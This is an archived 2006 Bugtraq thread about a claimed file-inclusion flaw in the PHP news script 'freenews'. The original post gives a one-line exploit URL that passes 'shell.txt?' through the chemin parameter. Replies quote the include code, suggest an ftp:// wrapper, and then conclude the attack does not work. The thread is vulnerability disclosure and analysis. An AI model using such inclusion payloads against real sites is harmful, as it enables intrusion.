bugtraq - Re: freenews---> fileinclude

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Message-ID: <op.th97cwanuza017@pokleyzz-asus>
Date: Tue, 31 Oct 2006 18:27:58 +0800
From: pokley <saleh@...n-associates.net>
To: tamriel@....net, MoHaNdKo <xp1o@....com>, tamriel@....net,
	MoHaNdKo <xp1o@....com>
Cc: "bugtraq@...urityfocus.com" <bugtraq@...urityfocus.com>
Subject: Re: freenews---> fileinclude

sorry..

miss look for "./" prefix in file_exists call. so it will not work after  
all.. :-)


On Tue, 31 Oct 2006 18:24:56 +0800, pokley <saleh@...n-associates.net>  
wrote:

> In PHP 5.x file_exists function have support for Protocols/Wrappers .
> So setting $chemin to ftp://blablablab.com/ will work in this case
>
> On Tue, 31 Oct 2006 05:18:58 +0800, Tamriel <tamriel@....net> wrote:
>
>> -----BEGIN PGP SIGNED MESSAGE-----
>> Hash: SHA512
>>
>> I would quote the whole code arround the includes, like:
>>
>> [...]
>> if (file_exists("./".$chemin."/config.php")){
>>     include ("$chemin/config.php");
>>     include ("$chemin/options.inc.php");
>>     include ("$chemin/freenews_functions.inc.php");
>> }
>> [...]
>>
>> You could only include files on the same server, not remote and not a
>> shell.txt.
>>
>>
>> MoHaNdKo wrote:
>>> ########################################################
>>> #
>>> #freenews---> fileinclude
>>> ###############################
>>> #
>>> #include ("$chemin/config.php");
>>> #include ("$chemin/functions.inc.php");
>>> #include ("$chemin/options.inc.php");
>>> #******************************************
>>> #name: MoHaNdKo
>>> #E-mail : xp1o@....com
>>> #
>>> #
>>> #********************
>>> #exploit:
>>> #            www.****.com/path/aff_news.php?chemin=shell.txt?		
>>> #
>>> #
>>> #********************
>>> #Greatz:
>>> #         www.xp10.com & www.d4eg.org & www.dmazika.org
>>> #
>>> #                             www.tryag.com
>>
>>
>>
>> -----BEGIN PGP SIGNATURE-----
>> Version: GnuPG v1.4.5 (MingW32)
>>
>> iD8DBQFFRmxCqBhP+Twks7oRCqoAAJ9YaqJn7Mdptjgc17uIV76Qcy5eVwCfRNpf
>> DmmJNRb3gp/R32Dq8dINQks=
>> =BGMI
>> -----END PGP SIGNATURE-----
>>
>
>
>



-- 
SCAN CONFIDENTIALITY NOTICE & DISCLAIMER

The contents of this e-mail and its attachment, if any ("message") are
intended for the named addressee only and may contain confidential
information. If you are not the named addressee, you must not copy this
message or disclose it to any other person. If you received this message by
error, you should delete this message immediately and notify the sender by
return e-mail.


SCAN Associates Berhad, its subsidiaries and/or group companies ("SCAN")
disclaim all liability for any error, loss or damage arising from this
message being infected by computer virus or other malicious software. The
views and other information in this message that do not relate to the
official business of SCAN shall not be deemed provided nor endorsed by  
SCAN.